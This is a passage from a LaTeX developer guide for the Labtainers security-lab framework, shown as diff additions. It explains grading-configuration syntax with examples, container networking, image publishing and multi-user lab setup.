artifact files. +This allows designers to temporally group syslog results that were generated between changes to system configurations +as defined by invocation of the {\tt time\_delimiter} program, e.g., a script that alters the routing table. See section +\ref{time delimeter} for additional information. +\end{itemize} + +Directives within the results.config file each have the following format: + +\begin{verbatim} + = : : [: : ] + where: + result -- The symbolic name of the result, which will be referenced in + the goals configuration file. It must be alphanumeric, + underscores permitted. + file_id -- Identifies a single file, or the set of files to be parsed. + The format of this id is: + [container_name:].[stdin | stdout | prgout] | + [container_name:]file_path[:time_delimiter] + where is a program or utility name whose stdin, stdout, + or program output (prgout) artifacts will include timestamps. + The optional container_name identifies the container hosting + the file. Labs with a single container can omit this qualifier. + Alternately, an explicit + file_path is intended for log files of services that persist + across multiple student operations. If the given path is not + absolute, it is relative to the container user's home directory. + The wildcard character '*' can be used in place of , + i.e., *.stdin is for all stdin artifacts and *.stdout is for all + stdout artifacts. The optional time_delimiter qualifier is + explained further below. + field_type - Optional, defaults to "TOKEN", possible values include: + TOKEN -- Treat the line as space-delimited tokens + PARENS -- The desired value is contained in parenthesis + QUOTES -- The desired value is contained in quotes + SLASH -- The desired value is contained within slashes, + e.g., /foo/ + LINE_COUNT -- The quantity of lines in the file. Remaining fields + are ignored. + CHECKSUM -- The result value is set to the md5 checksum + of the file. + CONTAINS -- The result value is set to TRUE if the file + contains the string represented in field_id. + FILE_REGEX -- The result value is set to TRUE if the file + contains the regular expression represented in field_id. + The python findall function is used on the entire file. + See the acl lab for an example of multi-line expressions. + LOG_TS -- Used with timestamped log files, this results in a + timestamped set of boolean results with a value + of TRUE for each log line that contains the string + represented in the field_id. + FILE_REGEX_TS Like LOG_TS, but uses regular expressions. + LOG_RANGE -- Similar to LOG_TS, except the timestamped entries + are ranges delimited by the matching log entries. + STRING_COUNT--The result value is set to the quantity of + occurances of the string represented in field_id. + COMMAND_COUNT-Intended for use with bash_history files, counts + the occurances of the command given in the field_id. + Commands are evaluatd considering use of sudo, time, etc. + PARAM -- The result value is set to nth parameter + (0 is the program name), provided in the + program invocation. + + SEARCH -- The result is assigned the value of the search + defined by the given field_id, which is treated as an + expression having the syntax of pythons parse.search + function. E.g., "frame.number=={:d}" would + yield the frame number. + GROUP -- Intended for use with "REGEX" line types, the + result is set to the value of the regex group + number named by the field_id. Regular expressions + and their groups are processed using the python + re.search semantics. + TIME_DELIM -- The timestamps of the named files are used to create + a set of time ranges, e.g., for use in time_during + goal operators. + + + field_id -- An integer identifying the nth occurance of the field type. + Alternately may be "LAST" for the last occurance of the + field type, or "ALL" for the entire line (which causes the + field type to be ignored). Or if field_type is SEARCH, the + field_id is treated as the search expression. + If field_type is "CONTAINS", the + remainder of the line is treated as a string to be + searched for. If field_type is "PARAM", the field_id is + the 1-based index of the parameter whose value is to be + assigned, and no other fields should be present. + If field_type is "CHECKSUM", no other field is required. + line_type - Identifies how the line is to be identified, values include: + LINE -- The line_id is an integer line number + (starting at one). Use of this to identify + lines is discouraged since minor lab changes + might alter the count. + STARTSWITH -- the line_id is a string. This names the + first occurrence of a line that starts with + this string. + HAVESTRING -- The line_id is a string. This names the + first occurrence of a line that contains the + string. + REGEX -- The line_id is a regular expression. This names the + first occurrence of a line that matches the regular + expression. Also see the "GROUP" field_type. + NEXT_STARTSWITH -- the line_id is a string. This names the + line preceeding the first occurrence of a line + that starts with this string. + HAVESTRING_TS -- Intended for use with log files that have + timestamped entries. Each entry containing + the string identified in line_id will have + its result stored as a timestamped value + as if it came from a timestamped stdout or + stdin file. See the snort lab for an example. + REGEX_TS -- Similar to HAVESTRING_TS, but with REGEX semantics, + including optional use of the GROUP field_type. + line_id - See line_type above. String values, e.g., for "STARTSWITH" + can be a parameterized value from the param.config file. + Preface these with a "$". +\end{verbatim} + +\subsubsection{Converting artifact file formats} +Some artifact file formats are not easily referenced by results.config directives. +For example, a browser history file in the .sqlite format is binary. Such files +can be processed into a more convenient form through use of a script at: +\begin{verbatim} + $LABTAINER_DIR/labs/[lab]/instr_config/pregrade.sh +\end{verbatim} +\noindent Modify or expand on the default pregrade.sh script. +In general, the pregrade.sh script is expected to extract or convert +data from an artifact file, and write it into a new file in the .local/results +directory of the container. + +\subsection{Evaluating results} +\label{goals.config} +Results of student lab activity are assigned symbolic names by the results.config file +as described above. These results are then referenced in the goals.config to evaluate whether +the student obtained expected results. Most lab goals defined in the goals.config file +will evaluate to TRUE or FALSE, with TRUE reflecting that the student met the defined goal. +In addition to these binary goals, the designer can capture and report on quantities of events, +e.g., the number of times a student ran a specific program. +Once evaluated, a goal may determine the value of subsequent goals within the goals.config file, +i.e., through use of boolean expressions and temporal comparisons between goals. The evaluated +state of each goal can then contribute to an overall student assessment. + +Student results may derive from multiple invocations of the same program or system utility. +The framework does not discourage students from continuing to experiment and explore aspects of the +exercise subsequent to obtaining the desired results. In general, Labtainer assessment determines if the student +obtained expected results during any invocation of a program or system utility, or during a time period +delineated by timestamp ranges described in section \ref{results.config}. \footnote{In those cases +where the student is required to obtain the expected results during the final invocation of a program, +the \textit{matchlast} goal type may be specified as described below.} + +The goals.config file contains directives, each of which assigns a value to a symbolic name referred +to as the {\tt goal\_id}. Each goal\_id may have multiple instances of timestamped values, with their +associated timestamp ranges inherited from results. Examples of assigning values to a goal\_id include: +\begin{itemize} +\item A goal\_id is automatically created for each boolean result from the results.config file. The timestamps +are directlly inherited from the results. + +\item The value of a specific result is compared (e.g., do two strings match?) to a literal expected value. +A boolean goal\_id value is generated for each referenced result's timestamp. + +\item The value of a specific result is compared to a parameterized value +generated from the student email address as described in section \ref{parameterize}. +A boolean goal\_id value is generated for each referenced result's timestamp. + +\item Timestamps and boolean values of two different goal\_id's are compared. For example, ``was +a TRUE value for {\tt result A} generated while a TRUE value for {\tt result B} was being generated?'' +A boolean goal\_id is generated for each +timestamp range of {\tt result B} within which falls at least one {\tt result A} timestamp. + +\item A boolean expression consisting of multiple {\tt goal\_id}'s and boolean operators such as OR, AND, NOT\_AND. +A boolean goal\_id is generated for each timestamp range for which there is an instance of every goal\_id named +in the expression. +\end{itemize} + +The following syntax defines each goal within the goals.config file. While the syntax +may appear complex, most goals can be expressed simply as can be seen in section \ref{examples} and +in the Labtainer exercises distributed with the framework. + +\begin{verbatim} + = : [ : : | + | goal1 : goal2 | | value : subgoal_list] + Where: + - An identifer for the goal. It must be alphanumeric + (underscores permitted). + - must be one of the following: + matchany - Results from all timestamped sets are evaluated. + If the answertag names a result, then both that + result and the resulttag must occur in the same + timestamped set. The 'matchany' goals are treated + as a set of values, each timestamped based on the + timestamp of the reference resulttag. + + matchlast - only results from the latest timestamped set are + evaluated. + matchacross - The resulttag and answertag name results. The + operator is applied against values in different + timestamped sets. For example, a "string_diff" + operator would require the named results to have + at least two distinct values in different + timestamped sets. Note: 'matchacross' cannot + be used within the boolean expression defined below. + boolean - The goal value is computed from a boolean expression + consisting of goal_id's and boolean operators, ("and", + "or", "and_not", "or_not", and "not"), and parenthisis + for precedence. The goal_id's must be from goals defined + earlier in the goals.config file, or boolean results + from results.config. The goal evalutes to + TRUE if the boolen expression evaluates to TRUE for any + of the timestamped sets of goal_ids, (see the 'matchany' + discussion above). The goal_id's cannot include any + "matchacross" goals. NOTE: evaluation is within + timestamped sets. If you want to evaluate across + timestamps, use the count_greater_operator below. + count_greater The goal is TRUE if the count of TRUE subgoals in the + list exceeds the given value. The subgoals are + summed across all timestamps. The subgoal list is + comma-separated within parenthesis. + time_before - Both goal1 and goal2 must be goal_ids from previous + matchany, or boolean values from results.config + A timestamped goal is created for each goal2 + timestamped instance whose timestamp is proceeded + by a goal1 timestamped instance. The goal for that + timestamp will be TRUE if the goal2 + instance is TRUE, and at least one of the goal1 + instances is TRUE. These timestamped goals can + then be evaluated within boolean goals. + time_during - Both goal1 and goal2 must be goal_ids from previous + matchany goal types, or boolean values from + results.config. Timestamps include a start and end + time, reflecting when the program starts and when it + terminates. A timestamped goal is created for each + goal2 range that encompasses a goal1 timestamp. + The goal for that timestamp will be TRUE if the + goal2 instance is TRUE, and at least one goal1 instance + is TRUE. These timestamped goals can then be + evaluated within boolean goals. + time_not_during Similar to time_during, but timestamped goals are + always created for each goal2. Each such goal is True + unless one or more goal1 times occur within a True goal2 + range. + execute - The is treated as a file name of a script to + execute, with the resulttag and answertag passed to the + script as arguments. The resulttag is expected to be + one of the symbolic names defined in the results.config + file, while the answertag is expected to be a literal + value or the symbolic name in the parameters.config file + Note: the answertag cannot be a symbolic name from + results.config + count - If the remainder of the line only includes a resulttag, + then the goal value is assigned the quanity of + timestamped files containing the given resulttag. + Otherwise the goal value is assigned the + quantity of timestamped files having results + that satisfy the given operator and arguments. + value - The goal value is assigned the given resulttag value from + the most recent timestamped file that contains the resulttag. + + - the following operators evaluate to TRUE as described below: + string_equal - The strings derived from and + are equal. + string_diff - The strings derived from and + are not equal. + string_start - The string derived from is at the start of + the string derived from . + example: answertag value = 'MySecret' + resulttag value = 'MySecretSauceIsSriracha' + string_end - The string derived from is at the end of + the string derived from . + example: answertag value = 'Sriracha' + resulttag value = 'EatMoreFoodWithSriracha' + string_contains The string derived from is contained within the + string derived from . + integer_equal - Integers derived from and + are equal. + integer_greater - The integer derived from is greater than + that derived from . + integer_lessthan- The integer derived from is less than + that derived from + - If the type is 'execute' then is a filename of + an executable. + + -- One of the symbolic names defined in the results.config file. + The value is interpreted as either a string or an integer, + depending on the operator as defined above. Alternately, + for integer operators within matchany types, this + may be an arithmetic expression within parentheses. For example, + "(frame_number-44)". + + -- Either a literal value (string, integer or hexidecimal), or a + symolic name defined in the results.confg file or the + parameters.config file: + + answer= -- literal string, integer or hex value + (leading with 0x), interpretation depending + on the operator as described above. + result. -- symbol from the results.config file + parameter. -- symbol from the parameters.config file + parameter_ascii. -- same as above, but the value parsed as + an integer or hexidecimal and converted to an + ascii character. + +\end{verbatim} + Note that values derived from the parameters.config file are assigned the same values as + were assigned when the lab was parameterized for the student. + +\subsubsection{Assessment Report} +Evaluation of student results occurs on an instructor container, via a script named {\tt instructor.py}, which runs +automatically when the instructor runs the {\tt gradelab [lab]} command. The script can also be run manually, e.g., to +test changes and additions to grading configuaration files. It must be run from the HOME directory +on the container that results from running the gradelab command with the {\tt -d} option \footnote{Be sure to run +stopgrade after use of the {\tt -d} option to shut down the grading container when you are done with it}. +By convention, all goals and boolean results whose symbolic names are not prefaced with an +underscore ({\tt\_}), will have corresponding entries in the assessment report, located in +the home directory in a file named {\tt .grades.txt>} + +\subsubsection{Document the meaning of goals} +\label{document goals} +Instructors will see descriptions of lab goals when they start the lab using {\tt start.py}. +These descriptions are embedded within comments in the goals.config and results.config files. +The descriptions are associated with symbolic names that immediately follow the documentation +directives as described below: +\begin{verbatim} + # SUM: -- The remainder of the line and comment lines that immediately + follow are displayed independent of any goal symbols. + # DOC: -- The remainder of the line and comment lines that immediately + follow are displayed for the symbolic name that follows + the comment lines. + # GROUP:-- The remainder of the line and comment lines that immediately + follow are displayed for the group symbolic names that + follows the comment lines. The group ends on a blank line, or + new comment. + +\end{verbatim} +\noindent See existing labs for examples. + + +\subsection{Assessment examples} +\label{examples} +The following examples illustrate some typical assessment operations as they would +be defined in the results.config and goals.config files. + +\subsubsection{Do artifact files contain specific strings?} +Consider the labs/formatstring/instr\_config/results.config file for a few examples. +The first non-comment line defines a result having the symbolic name ``\_crash\_sig'': +\begin{verbatim} + _crash_sig = vul_prog.stdout : CONTAINS : program exit, segmentation + _crash_smash = vul_prog.stdout : CONTAINS : *** stack smashing detected +\end{verbatim} +\noindent This result is TRUE for each timestamped stdout file resulting from running +the vul\_prog program in which the file contains the string ``program exit, segmentation''. +The goals.config includes this goal: +\begin{verbatim} + crash = boolean : ( _crash_smash or _crash_sig ) +\end{verbatim} +\noindent The value of the crash goal is TRUE if either result was ever true. +Use of the {\tt count\_greater} operator in the above example would also provide +the desired assessment. Note that the boolean operator only assesses values within +timestamped sets. For example, if the result values came from different program +outputs, then they may not be within the same timestamp, and thus would not compare. +In such a case, the {\tt count\_greater} operator should be used. + +\subsubsection{Compare value of a field from a selected line in an artifact file} +Again refrence the labs/formatstring/instr\_config/results.config file. The third non-comment line +defines a result having the symbolic name ``origsecret1value'': +\begin{verbatim} + origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: + newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +\end{verbatim} +\noindent The timestamped results are +found by looking at stdout from the ``vul\_prog'' program, and finding the first line that starts with: +``The original secrets:''. The result is assigned the value of the sixth space-delimited +token in that line. The ``newsecret1value`` assignment is similar. The goals.config file includes: +\begin{verbatim} +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +\end{verbatim} +\noindent , which will be TRUE if any of the vul\_prog stdout files include a +``newsecret1value'' that differs from its ``oldsecret1value``. + +\subsubsection{My desired artifacts are not in stdin or stdout, the program outputs a file} +See section \ref{program output} + +\subsubsection{Distinguish log file entries generated before and after configuration changes} +\label{time delimeter} +When log files are named in results.config files, you can qualify the log file name +with the name of program whose invocation serves as a {\tt time\_delimiter} introduced +in section \ref{results.config}. +The {\tt time\_delimiter} identifies some +monitored program whose start times will be used to organize the log file into +a set of timestamped results. This differs from use of HAVESTRING\_TS and +REGEX\_TS in that those store results as descrete timestamped values for each +timestamp found in the log file. The {\tt time\_delimiter} timestamp values are +based on the start times of the monitored program. The intended use is to +group results from programs whose actions result in entries in the log file. +This can be useful for grouping system log entries based on system configuration +changes (i.e., accomplished via the {\tt time\_delimiter} program). + +Consider a lab that directs students to alter iptables on a component using the +/etc/rc.local script. The student is required to demonstrate a desired iptables +configuration by running nmap on various other components. The instructor wants +to confirm that some set of expected stdout from nmap running on different +components all occurred within a single +configuration of iptables, delimited by the running of rc.local. In other words, +the student cannot succeed by altering iptables between invocations of nmap on +different components. In this example, the {\tt file\_path} would name the iptables +log, and the {\tt time\_delimiter} would name rc.local. In order to track invocations +of rc.local, we would add it to the {\tt treataslocal} file described in section \ref{stdin and stdout}. + +Then, if the lab results.config were: +\begin{verbatim} + _iplog = outer_gw:/var/log/ulog/syslogemu.log:rc.local : \ + CONTAINS : IPTABLES DROPPED + _remote_nmap_443 = remote_ws:nmap.stdout : CONTAINS : 443/tcp open https + _remote_nmap_sql = remote_ws:nmap.stdout : CONTAINS : 3306/tcp open mysql + _local_nmap_443 = ws1:nmap.stdout : CONTAINS : 443/tcp open https + _local_nmap_sql = ws1:nmap.stdout : CONTAINS : 3306/tcp open mysql +\end{verbatim} + +\noindent The {\tt \_iplog} result would then have up to N+1 timestamped instances, +where N is the quantity of times that rc.local was executed. The first possible +timestamp would have a starting time of zero and an ending time of the very first +invocation of rc.local. The nmap results would each have timestamps corresponding +to their times of execution. Note the nmap results include results from two different +computers, ws1 and remote\_ws. + +A goals.config file of: +\begin{verbatim} + remote_nmap_443 = time_during : _remote_nmap_443 : _iplog + remote_nmap_sql = time_during : _remote_nmap_sql : _iplog + local_nmap_443 = time_during : _local_nmap_443 : _iplog + local_nmap_sql = time_during : _local_nmap_sql : _iplog + remote_correct = boolean : ((remote_nmap_443 and_not remote_nmap_sql) \ + and local_nmap_443 and local_nmap_sql) +\end{verbatim} +\noindent would generate sets of nmap goals grouped into timestamps corresponding to the +{\tt \_iplog} results. The {\tt remote\_correct} boolean expression could then be read as: +``Was there any +single iptables configuration during which the student used nmap to demonstrate that: +\begin{itemize} +\item The remote workstation could reach the HTTPS port but not the SQL port, and, +\item The local workstation could reach the HTTPS port and the SQL port. +\end{itemize} + +\subsubsection{Delimiting logs by starting services} +\label{time delimiter services} +Another example of the use of {\tt time\_delimiter} log file qualifiers is a web server, +and its corresponding httpd log. It may be desired to group log entries generated during a +single configuration of the web server, delimited by the starting of the web server, e.g., via +{\tt sudo systemctl restart httpd}. Here, our {\tt time\_delimiter} program is the use of systemctl +to start or restart the httpd. Services are named in the {\tt treataslocal} file by giving them a +suffix of ``.service'', e.g., +\begin{verbatim} + httpd.service +\end{verbatim} +\noindent and that same name is used for our {\tt time\_delimiter}, e.g., +\begin{verbatim} + web_log = vuln-site:/var/www/csrflabelgg.com:httpd.service : CONTAINS : GET / HTTP/ +\end{verbatim} +\noindent will create time stamp ranges delimited by the starting of the web server. Results from +other programs, (or other results derived from the web log), could then be similarly group using +the {\tt time\_during} operation, e.g., +\begin{verbatim} + _some_goal = time_during : other_result : web_log + _some_other_goal = time_during : yet_another_result : web_log + success = boolean (_some_goal and _some_other_goal) +\end{verbatim} +The success goal would only then be TRUE if the two goals each occurred during a single instance +of the web server configuration, as delimited by use of {\tt systemctl restart httpd}. + +\subsubsection{Delimiting time using log file entries} +An alternate way to create groupings of log file entries is to use the log\_range +result type. For example, a result.config directive of: +\begin{verbatim} + syslog_slices = /var/log/messages : LOG_RANGE : Started System Logging Service +\end{verbatim} +\noindent would create a set of timestamped values whose ranges are based on occurrences +of the system logging service being started. The use of {\tt time\_during} +and/or {\tt time\_not\_during} and {\tt boolean} in the goals.config could then be used to assess whether +two or more events occurred during a given system log configuration. See the centos-log lab +for an example. + + +\subsection{Debugging automated assessment in labs} +Developing automated assessment for a new lab typically requires some +amount of debugging. This section is intended to guide new developers +through the process. + +When the {\tt gradelab} script is run from labtainers-instructor, +the configuration files in labs/[lab name]/instr\_config are validated. +If syntax errors are found, error messages are displayed at the terminal +and processing halts. The error messages identify the offending result.config +or goals.config entry. Refer to sections \ref{results.config} and \ref{goals.config} +for the expected syntax of these files. + +Once initial syntax checking is passed, the lab is graded for each student. +If the grading table does not display, or it displays +incorrects values, then find run the gradelab command with the {\tt -d} option. +At the resulting terminal, enter the {\tt instructor.py} +command. That may display diagnostics at the terminal. It will also generate +a /tmp/instructor.log file of debugging messages. + +At this point, the workflow is easiest if you edit/test from that container -- +just remember to transfer your revised .config files from the container before +doing a {\tt gradelab [lab] -r}! A copy of your config files are in \verb!~/.local/instr\_config!. You can edit +those and try running instructor.py again. The [lab].grades.json contains the +results of the goals assessment. You can find the results assessment for each +student beneath the directory whose name is prefaced with the student email. +From there, look in .local/result to find json files reflecting intermediate +results of assessing the student results. The actual student result arifacts +can be found in \verb!~/[student dir]/[lab].[container].student/.local/result!. + +The mechanics of performing the lab (so that you can test grading for different outcomes) +can be automated using the SimLab tool described in Appendix \ref{testing}. + +\section{Networking} \label{networking} +Most networking is simply a matter of defining networks and assigning them to containers +as described in \ref{start config}. + +In addition to networks properties defined in the +start.config file, each container \texttt{/etc/host} file includes a ``my\_host entry'' that names +the host Linux. By Docker default, each container includes a default gateway that +leads to the Linux host. This allows students to scp files to/from the container and host. +It also allows the student to reach external networks, e.g., to fetch additional packages in +support of student exploration. + +In many instances, the lab designer will want to define a different default route for a +container. Each container includes a \textit{set\_default\_gw.sh} +script that can be added to the \textit{/etc/rc.local} (or \textit{fixlocal.sh}) file to redefine the default gateway. +This script will automatically retain a route table entry so that the student can reach the ``my\_host'' +address. Additionally, those baseline images include a \textit{togglegw.sh} script that the student +can use to toggle the default gateway between one that leads to the host, and one defined for the lab. +This allows students to add packages on components having lab-specific default gateways. + +\subsection{Realistic Network Routing and DNS} +Some labs will strive to represent realistic networking environments, +e.g., several networked components including gateways and DNS servers. +To achieve that, you must override Docker, which automatically sets +the container's /etc/resolv.conf file to use the +host system DNS resolution. This is in addition to the default routes described +above. While convenient, these mechanisms can distract and confuse students, particularly +when routing and DNS resolution are central to the point of the exercise, (e.g., +a DNS cache poisoning lab). + +These Docker defaults can be easily overridden to present a more realistic networking +environment. A worked example of such a topology can be seen in the \textit{routing-basics} lab. +This lab includes the following properties that can be reproduced in other labs: +\begin{itemize} +\item Default routes to gateway components. +\item DNS definitions in /etc/resolv.conf that name gateway components. +\item Use of \texttt{iptables} in gateway components to implement NAT. +\item A hidden ISP component that exchanges network traffic with the host Linux system, +thereby allowing all visible components to include routing, DNS and iptables entries that do not +expose virtual networking tricks. See section \ref{Networking Notes} for additional information. + +\end{itemize} + +\subsection{Communicating with external hosts or VMs} +\label {external hosts} +A container can be configured to support network communication hosts external to Labtainers. +For example, consider a VirtualBox VMM that hosts a Linux VM that runs Labtainers and +a Windows VM. Assume the Windows VM has a fixed IP of 192.168.1.12 and the container +will be assigned a network address of 192.168.1.2. To permit network communication between +a container on the Linux VM and the Windows VM: +\begin{itemize} +\item Define a host-only network in VirtualBox with ip address/mask 192.168.1.1/24, and assign that to the two VMs, configuring the VM +network links to use promiscuous mode. +\item Start both VMs. On the Linux VM, make note of the ethernet interface associated with the host-only network (assumed to be enp0s8 below). +\item On the Linux VM, ensure the network interface is in promiscuous mode, {\tt sudo ifconfig enp0s8 promisc} +\item In the container start.config file, define a network as: +\begin{verbatim} +NETWORK LAN + MASK 192.168.1.0/24 + GATEWAY 192.168.1.1 + MACVLAN_EXT 1 + IP_RANGE 192.168.1.0/24 +\end{verbatim} +\noindent where the MACVLAN value is the Nth network interface (alphabetically ordered), that lacks an assigned IP address. +\item Assign 192.168.1.2 to the container in the start.config +\end{itemize} + +\begin{figure}[ht] +\centering +\includegraphics[width=0.4\textwidth,natwidth=621,natheight=403]{ExternalNetworks.jpg} +\caption{Networking with external hosts.} +\label{fig:external hosts} +\end{figure} + +Also see the description of Multi-user labs in \ref{multi user}. + +\section{Building, Maintaining and Publishing Labs} \label{publishing} +Typically, when a Labtainer is started, the container's associated Docker images are pulled from +the Docker Hub if they are not already local on the Linux host. When building and editing labs, +the designer desires to run images reflecting recent changes that have been made. The framework +includes logic to identify dependencies within containers whose image content has changed, +and it will rebuild those images, (using the Docker build command). The framework will only +rebuild those images that have changed. The designer can force the rebuild of all images within +a lab by appending the ``-f'' switch to the end of the ``rebuild.py'' command. That switch is not +intended for routine use because it wastes time and masks errors in our dependency logic. + +If you build a new Labtainer exerciese, the container images will not be on the Docker Hub unless you put +them there. If they are not on the hub, each student's computer will rebuild your lab when they go to run it. +While this is fully functional, the build time may distract from performance of the lab. If you +create your own public repository on the Docker Hub (https://hub.docker.com/), you can populate that +with your lab(s) by setting the ``REGISTRY\_ID'' value in the start.config file for the lab(s). You +would then use the distrib/publish.py script to build, tag and push your lab to your registry. + +\subsection{NPS Development Operations} +When building lab images at NPS, please set the LABTAINER\_NPS environment variable to "YES", e.g., +\begin{verbatim} + export LABTAINER_NPS=YES +\end{verbatim} +This will force packages to be retrieved from the local NPS mirrors (centosmirror.uc.nps.edu or +ubuntumirror.uc.nps.edu). Refer to section \ref{package sources} for additional information. + +Labs must be checked into the local Git repository in order to be distributed. After creating and testing +a new lab, use the scripts/designer/bin/cleanlab4svn.py script to remove temporary files that do not belong in +svn. Use the publish.py script (described above) to publish the lab containers. +The distrib/mkdist.sh script is used by NPS to create the distribution tar file. This script relies on +your local Git repository as the source to the Labtainer scripts and labs. Use the mk-devel-distrib.sh script +to publish the developer configuration of the tar file. + +The mkdist.sh and mk-devel-distrib.sh scripts include "myshare" variables that define a path to a directory +shared with the development VM's host. The scripts will place the resulting tar files in this directory. You +must then manually transfer the updated tar files (including the {\tt labtainer\_pdf.zip} file) to the Liferay +server at +\begin{verbatim} +davs://my.nps.edu/webdav/c3o-staging/document_library/labtainers +\end{verbatim} +After transfering the files, use the Liferay ``Publish to Live'' function to make the files available on the +Labtainers website (which is also where they are pulled from when a student runs update-labtainer.sh). + +Be sure to push your Git repository updates to the GitHub master. + +The distrib/publish.py script is used to rebuild and +publish individual labs, or optionally all of the Labtainer exercises managed by NPS. +The publish.py (without the {\tt -l} option) script will only rebuild labs that have changed. After pushing a new lab container +image to the Docker hub, the script deletes the image from the local system. The intent is to +ensure that future testing of the lab is done on the authoritative copy, i.e., from the hub. + +Labtainer base images are built and published from the scripts/designer/bin directory. Prior to publishing +baseline images, it is suggested that all local images be purged from the development machine, e,g., +\begin{verbatim} + /trunk/setup_scripts/destroy-docker.sh +\end{verbatim} +\noindent This will ensure the new baseline images to not incorporate layer remnants. + +All new images should be first built and pushed onto the test registry, i.e., using the +{\tt ./publish\_image.sh -t} + +Framework modifications made to support changed or new functions within container images +must be evaluated with respect to their impact on compatibility. If a new lab image requires +an updated Labtainers framework, then the "framework\_version" must be incremented within the +bin/labutils.py script \textbf{before} the image is built and published. This will prompt users +to run update-labtainer.sh prior to running any newer lab image. +Also insure that these lines are present in the container dockerfile: +\begin{verbatim} +ARG version +LABEL version=$version +\end{verbatim} +\noindent And, be sure to publish the revised framework before publishing the revised lab(s). + +\subsection{Alternate registry for testing} +If the environment variable {\tt TEST\_REGISTRY}, is set to YES, labs to be pulled and pushed +into an alternate registry defined in the trunk/config/labtainer.config file test\_registry entry entry. +Also, the {\tt build\_lab.py}, {\tt labtainer}, and {\tt publish.sh} scripts include {\tt -t} flags to +force the system to reference the test registry instead of the Docker Hub. +It is easy to set up a registry (it is a container!), \url{https://docs.docker.com/registry/deploying/} +Use the {\tt trunk/setup\_scripts/prep-testregistry.sh} script to +prepare a test system to use a test registry. + +\subsection{Reuse of large file sets} +\label{manifest} +The use of ``sys\_tar'' and ``home\_tar'' described in \ref{large files} facilitates sharing of common +baselines of large or numerous files. New labs can incorporate tar files from existing +labs through the use of ``external-manifest'' files, (see the xsite/victim/home\_tar as +an example). The syntax of the external-manifest is shown below, and it may contain +multiple entries, one per line: +\begin{verbatim} +lab:container +\end{verbatim} +\noindent Where ``lab'' is the name of the lab, and ``container'' is the name of the container +whose tar file is to be included. + +The framework will include content of tar archives referenced within these files +when creating an archive for the new lab. This allows the sys\_tar to include lab-specific files +as well as files from other labs. Designers should avoid adding duplicate tar files to the SVN repository. +This will avoid duplication of the files when a new distribution is created. + +\subsection{Package sources for apt and yum} +\label{package sources} +Labtainer base images include configuration files to use local NPS mirrors when creating derivative +images. The original apt or yum sources are restored to an image if it is built without an environment +variable of {\tt LABTAINER\_NPS=YES} The original sources are also restored when any container is first +run. See the baseline Labtainer Dockerfiles in {\tt trunk/scripts/designer/base\_dockerfiles} to understand +how the sources files are manipulated. + +The {\tt apt\_source} entry in the trunk/config/labtainer.config file will set the {\tt \$apt\_source} +environment variable in a Dockerfile, and this can be used by lab designers to force image builds to use +alternate sources. By default, the value of the variable is ``archive.ubuntu.com''. This hostname can be +overridden via the trunk/config/labtainer.config file apt\_source entry, and having the following in your Dockerfile: +\begin{verbatim} +RUN sed -i s/archive.ubuntu.com/$apt_source/ /etc/apt/sources.list +\end{verbatim} + +\subsection{Locale settings} +The locale settings, (e.g., used when interpreting character encodings) are set to en\_US.utf-8 +as can be seen in +\begin{verbatim} +trunk/scripts/labdesigner/base_dockerfiles/Dockerfile.labtainer.base +\end{verbatim} +Similar Dockerfile entries in new or existing labs can provide alternate locale settings. + +\subsection{Lab versions} +Substantive changes to an existing published lab should be made in +a new named lab. A \textit{substantive} change is defined as one that would +break any existing installation in a manner that could not be corrected +with a framework update. Issues with compatibility between two +lab versions is often due to there being lab-specific files on the framework, +(i.e., from where the lab is run) as well as within the Docker images that +make up the lab. When a newer version of a lab image is published, it must +be able to work with existing installations. If that requires an update to the +framework, then that update cannot break any existing labs present in that +installation, i.e., labs that have already been started. + +For example, \textbf{never} change container names for existing labs. If such +a change is needed, create a new lab, and assign version numbers to +it and the old lab. + +Lab version numbers are kept in the optional {\tt labs/[lab]/config/version} file. +There is no need to have such a file until there are two or more versions of the +same lab. (Note if you want two versions of a given lab to be runnable and to appear +in the list of labs, then they are not versions of the same lab. They are different +labs.) The format of a lab version file is: +\begin{verbatim} + lab-base version +\end{verbatim} +where {\tt lab-base} is a name to associate with the multiple versions. It can be +anything and does not appear at the user interface. The {\tt version} is an integer. + +To create a new version of a lab: +\begin{itemize} +\item Create a new lab using {\tt new\_lab\_setup.py} (perhaps with the clone option). +\item Create a version file for the old lab (if it does not already have one). +\item Create a version file for the new lab, giving it a version numerically greater than +the old version. +\item Add the old lab name to the trunk/publish/skip-labs list. +\end{itemize} + +When the user types the {\tt labtainer} command with no arguments, the list will then +only include the latest version of that lab. An exception is if the old lab already +has been run in this installation, in which case both lab versions will display. + + +\section {Multi-user Labtainers} +\label{multi user} +Labtainer exercises can support multiple concurrent users, such as students collaborating or competing on a shared +set of networked components. A multi-user lab can be operated in any one of three modes: +\begin{enumerate} +\item Dedicated to a single student, e.g., on a laptop or a VM allocated to the student from a VM farm. +\item Shared by multiple students, each running Labtainers on a per-student VM with shared componets running on separate +Labtainers VM. This is illustrated in Figure \ref{fig:multi-multi} +\item Shared by multiple students, each SSHing from a non-Labtainer VM into a per-student Labtainer computer on a single +VM running Labtainers. This is illustrated in Figure \ref{fig:multi-single} +\end{enumerate} + +\begin{figure}[ht] +\centering +\includegraphics[width=0.4\textwidth,natwidth=621,natheight=403]{multiuser-multilabtainers.jpg} +\caption{Multi-user Labtainers with multiple instances of Labtainers.} +\label{fig:multi-multi} +\end{figure} + +\begin{figure}[ht] +\centering +\includegraphics[width=0.4\textwidth,natwidth=621,natheight=403]{multiuser-onelabtainer.jpg} +\caption{Multi-user Labtainers via SSH.} +\label{fig:multi-single} +\end{figure} + +Both of the multiuser modes require a host-only network defined by the VMM. This network should be defined +before it is allocated to any VM, and the DCHCP server on the host-only network should be disabled within +the VMM. + +\subsubsection {Multi-user Labtainers, one Labtainer VM per student} +In this approach, each student is assumed to have been allocated an +individual VM upon which Labtainers is installed. +The student has access to that VM, e.g., via ssh or a vSphere client. +Each student VM runs a single per-student workstation Labtainer component. +The remaining containers, e.g., vulnerable servers, all run on a single VM, +which we refer to herein as the ``server VM''. Provisioning a lab to run +in this mode is summarized below. + +\begin{itemize} +\item Allocate the host-only network to each Labtainers VM. Be sure +to disable the IPv4 networking for this network on each Labtainers VM, and +set the network interface to promisuous mode (within the Linux host as well). +For example: +\begin{verbatim} + sudo ifconfig ethx 0.0.0.0 + sudo ifconfig ethx promisc +\end{verbatim} + +\item Start the lab on the server VM using start.py and the --server (-s) switch. This +causes Labtainers to start each container in the lab that is not tagged as a ``CLIENT''. + 